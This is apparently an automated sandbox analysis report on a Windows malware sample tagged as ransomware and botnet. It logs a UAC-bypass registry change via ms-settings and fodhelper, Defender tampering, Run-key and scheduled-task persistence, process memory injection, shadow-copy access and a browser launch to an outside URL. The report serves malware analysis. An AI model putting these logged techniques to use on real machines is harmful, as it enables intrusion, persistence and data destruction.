\REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe" 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings\shell\open\command\DelegateExecute 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe\" \"%1\"" 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-914486190-3969805341-592249730-1000_Classes\ms-settings 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4668 schtasks.exe 1120 schtasks.exe 5128 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5780 chrome.exe 5780 chrome.exe 3948 powershell.exe 3948 powershell.exe 3948 powershell.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
pid Process 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 3948 powershell.exe Token: SeShutdownPrivilege 5780 chrome.exe Token: SeCreatePagefilePrivilege 5780 chrome.exe Token: SeIncreaseQuotaPrivilege 5044 WMIC.exe Token: SeSecurityPrivilege 5044 WMIC.exe Token: SeTakeOwnershipPrivilege 5044 WMIC.exe Token: SeLoadDriverPrivilege 5044 WMIC.exe Token: SeSystemProfilePrivilege 5044 WMIC.exe Token: SeSystemtimePrivilege 5044 WMIC.exe Token: SeProfSingleProcessPrivilege 5044 WMIC.exe Token: SeIncBasePriorityPrivilege 5044 WMIC.exe Token: SeCreatePagefilePrivilege 5044 WMIC.exe Token: SeBackupPrivilege 5044 WMIC.exe Token: SeRestorePrivilege 5044 WMIC.exe Token: SeShutdownPrivilege 5044 WMIC.exe Token: SeDebugPrivilege 5044 WMIC.exe Token: SeSystemEnvironmentPrivilege 5044 WMIC.exe Token: SeRemoteShutdownPrivilege 5044 WMIC.exe Token: SeUndockPrivilege 5044 WMIC.exe Token: SeManageVolumePrivilege 5044 WMIC.exe Token: 33 5044 WMIC.exe Token: 34 5044 WMIC.exe Token: 35 5044 WMIC.exe Token: 36 5044 WMIC.exe Token: SeBackupPrivilege 5056 vssvc.exe Token: SeRestorePrivilege 5056 vssvc.exe Token: SeAuditPrivilege 5056 vssvc.exe Token: SeIncreaseQuotaPrivilege 5044 WMIC.exe Token: SeSecurityPrivilege 5044 WMIC.exe Token: SeTakeOwnershipPrivilege 5044 WMIC.exe Token: SeLoadDriverPrivilege 5044 WMIC.exe Token: SeSystemProfilePrivilege 5044 WMIC.exe Token: SeSystemtimePrivilege 5044 WMIC.exe Token: SeProfSingleProcessPrivilege 5044 WMIC.exe Token: SeIncBasePriorityPrivilege 5044 WMIC.exe Token: SeCreatePagefilePrivilege 5044 WMIC.exe Token: SeBackupPrivilege 5044 WMIC.exe Token: SeRestorePrivilege 5044 WMIC.exe Token: SeShutdownPrivilege 5044 WMIC.exe Token: SeDebugPrivilege 5044 WMIC.exe Token: SeSystemEnvironmentPrivilege 5044 WMIC.exe Token: SeRemoteShutdownPrivilege 5044 WMIC.exe Token: SeUndockPrivilege 5044 WMIC.exe Token: SeManageVolumePrivilege 5044 WMIC.exe Token: 33 5044 WMIC.exe Token: 34 5044 WMIC.exe Token: 35 5044 WMIC.exe Token: 36 5044 WMIC.exe Token: SeShutdownPrivilege 5780 chrome.exe Token: SeCreatePagefilePrivilege 5780 chrome.exe Token: SeShutdownPrivilege 5780 chrome.exe Token: SeCreatePagefilePrivilege 5780 chrome.exe Token: SeDebugPrivilege 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe Token: SeShutdownPrivilege 5780 chrome.exe Token: SeCreatePagefilePrivilege 5780 chrome.exe Token: SeIncBasePriorityPrivilege 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe Token: SeShutdownPrivilege 5780 chrome.exe Token: SeCreatePagefilePrivilege 5780 chrome.exe Token: SeDebugPrivilege 5712 tasklist.exe Token: SeDebugPrivilege 440 NETSTAT.EXE Token: SeDebugPrivilege 2344 whoami.exe Token: SeIncreaseQuotaPrivilege 4016 WMIC.exe Token: SeSecurityPrivilege 4016 WMIC.exe Token: SeTakeOwnershipPrivilege 4016 WMIC.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe - Suspicious use of SendNotifyMessage 32 IoCs
pid Process 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe 5780 chrome.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4640 wrote to memory of 5780 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 85 PID 5780 wrote to memory of 632 5780 chrome.exe 86 PID 4640 wrote to memory of 3948 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 87 PID 4640 wrote to memory of 3476 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 89 PID 4640 wrote to memory of 4628 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 91 PID 4640 wrote to memory of 3088 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 93 PID 4640 wrote to memory of 444 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 95 PID 4640 wrote to memory of 5464 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 97 PID 4640 wrote to memory of 5760 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 156 PID 4640 wrote to memory of 1596 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 101 PID 5780 wrote to memory of 5704 5780 chrome.exe 102 PID 5780 wrote to memory of 5704 5780 chrome.exe 102 PID 5780 wrote to memory of 4164 5780 chrome.exe 103 PID 5780 wrote to memory of 3748 5780 chrome.exe 105 PID 5780 wrote to memory of 3748 5780 chrome.exe 105 PID 4640 wrote to memory of 1916 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 172 PID 5780 wrote to memory of 3024 5780 chrome.exe 109 PID 5780 wrote to memory of 3024 5780 chrome.exe 109 PID 5780 wrote to memory of 1340 5780 chrome.exe 110 PID 5780 wrote to memory of 1340 5780 chrome.exe 110 PID 4640 wrote to memory of 1888 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 111 PID 5780 wrote to memory of 4316 5780 chrome.exe 112 PID 5780 wrote to memory of 4316 5780 chrome.exe 112 PID 4640 wrote to memory of 2384 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 113 PID 4640 wrote to memory of 5352 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 115 PID 4640 wrote to memory of 5432 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 117 PID 4640 wrote to memory of 5044 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 119 PID 5780 wrote to memory of 5308 5780 chrome.exe 121 PID 5780 wrote to memory of 5308 5780 chrome.exe 121 PID 1888 wrote to memory of 1248 1888 fodhelper.exe 122 PID 4640 wrote to memory of 5964 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 166 PID 4640 wrote to memory of 4668 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 128 PID 4640 wrote to memory of 1120 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 130 PID 4640 wrote to memory of 4716 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 135 PID 4640 wrote to memory of 1880 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 137 PID 4640 wrote to memory of 4512 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 138 PID 4640 wrote to memory of 3328 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 139 PID 4640 wrote to memory of 4108 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 140 PID 4640 wrote to memory of 1400 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 141 PID 4640 wrote to memory of 1240 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 142 PID 4640 wrote to memory of 5128 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 145 PID 4640 wrote to memory of 5344 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 151 PID 1880 wrote to memory of 3700 1880 cmd.exe 152 PID 4512 wrote to memory of 5712 4512 cmd.exe 153 PID 1400 wrote to memory of 5648 1400 cmd.exe 154 PID 1240 wrote to memory of 440 1240 cmd.exe 155 PID 4108 wrote to memory of 5760 4108 cmd.exe 156 PID 5760 wrote to memory of 5288 5760 net.exe 157 PID 4716 wrote to memory of 5416 4716 cmd.exe 158 PID 3328 wrote to memory of 2344 3328 cmd.exe 159 PID 4640 wrote to memory of 3436 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 160 PID 4716 wrote to memory of 4016 4716 cmd.exe 161 PID 4640 wrote to memory of 4228 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 162 PID 4640 wrote to memory of 3080 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 164 PID 4640 wrote to memory of 5964 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 166 PID 4640 wrote to memory of 4436 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 167 PID 4640 wrote to memory of 2880 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 169 PID 4640 wrote to memory of 4420 4640 2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe 170 PID 5964 wrote to memory of 1884 5964 net.exe 175 PID 5780 wrote to memory of 5396 5780 chrome.exe 180 PID 5780 wrote to memory of 4600 5780 chrome.exe 198 PID 5780 wrote to memory of 4488 5780 chrome.exe 199 PID 5780 wrote to memory of 3964 5780 chrome.exe 200 PID 5780 wrote to memory of 1332 5780 chrome.exe 211 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-04_4c0e9b5f0dc9a25afdbbd143d25ff5f6_destroyer_elex_glassworm_ngrbot_wannacry.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4640 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://aidas.us2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5780 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff813f6c728,0x7ff813f6c734,0x7ff813f6c7403⤵PID:632
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1664,i,13193572206871084691,366121007087261809,262144 --field-trial-handle=2008,i,1854692731886952006,66924263935727716,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2004 /prefetch:23⤵PID:5704
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1472,i,9457960662059675742,3868804570368069277,524288 --field-trial-handle=2008,i,1854692731886952006,66924263935727716,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2244 /prefetch:33⤵
- System Time Discovery
PID:4164
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2364,i,10128867229245761500,127512658313721681,524288 --field-trial-handle=2008,i,1854692731886952006,66924263935727716,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2516 /prefetch:83⤵PID:3748
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3084,i,18253079787303521636,17995393732096547909,2097152 --field-trial-handle=2008,i,1854692731886952006,66924263935727716,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3204 /prefetch:13⤵PID:3024
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3096,i,15820540546127160224,15160655101325332734,2097152 --field-trial-handle=2008,i,1854692731886952006,66924263935727716,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3248 /prefetch:13⤵PID:1340
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4216,i,2001401979891550761,1827757775653343991,2097152 --field-trial-handle=2008,i,1854692731886952006,66924263935727716,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4268 /prefetch:23⤵PID:4316
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4628,i,14359823852562249377,10630049396055447700,2097152 --field-trial-handle=2008,i,1854692731886952006,66924263935727716,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4692 /prefetch:13⤵PID:5308
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=4608,i,11818671527736506458,13015880695319933566,524288 --field-trial-handle=2008,i,1854692731886952006,66924263935727716,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4868 /prefetch:83⤵PID:5396
-
-
